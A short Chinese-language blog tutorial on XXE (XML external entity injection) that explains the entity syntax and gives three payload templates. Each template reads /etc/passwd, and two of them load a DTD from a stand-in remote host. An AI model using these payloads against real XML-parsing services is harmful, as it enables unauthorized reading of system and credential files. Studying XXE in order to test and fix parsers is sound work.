Loading

XXE漏洞之基础知识(一)

一、XXE漏洞相关基础知识

传送门:https://blog.csdn.net/xy_sunny/article/details/107175145
XXE(XML External Entity Injection) XML外部实体注入。

二、外部文档声明

1、语法

<!ENTITY 实体名称 SYSTEM "URI/URL">

当应用是通过用户上传的XML文件或POST请求进行数据的传输,并且应用没有禁止XML引用外部实体,也没有过滤用户提交的XML数据,那么就会产生XML外部实体注入漏洞,即XXE漏洞。

2、三种模板

1、第一种模板
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]>
<x>&b;</x>
2、第二种模板
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd" >
%d;
]>
<x>&xxe;</x>
http://xxxx.com/xxe.dtd的内容为:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
有的小伙伴可能已经发现了,例1中实体名前面并没有%,而例2中实体名前是有%的,这里的区别在于,例1中定义的实体是通用实体,而例2中定义的是参数实体,并且参数实体只能在dtd中使用,即例2代码中的第三行%d;;这里就像在外面引用统用实体一样,这里的%d;就引用了http://xxx.com/xxe.dtd这个文件到dtd中。
3、第三种模板
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://xxx.com/xxe.dtd">
<x>&xxe;</x>
http://xxxx.com/xxe.dtd的内容为:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >

三、XXE不同类型语言所支持的不同协议

posted @ 2021-07-15 21:30  Ctrl_C+Ctrl_V  阅读(90)  评论(0)    收藏  举报